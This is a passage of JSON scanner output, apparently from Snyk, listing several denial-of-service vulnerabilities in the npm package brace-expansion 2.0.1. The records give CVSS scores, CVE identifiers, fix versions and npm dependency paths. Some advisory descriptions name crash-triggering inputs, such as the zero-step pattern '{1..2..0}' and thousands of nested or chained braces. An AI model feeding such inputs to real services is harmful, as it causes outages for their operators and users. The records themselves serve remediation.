"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
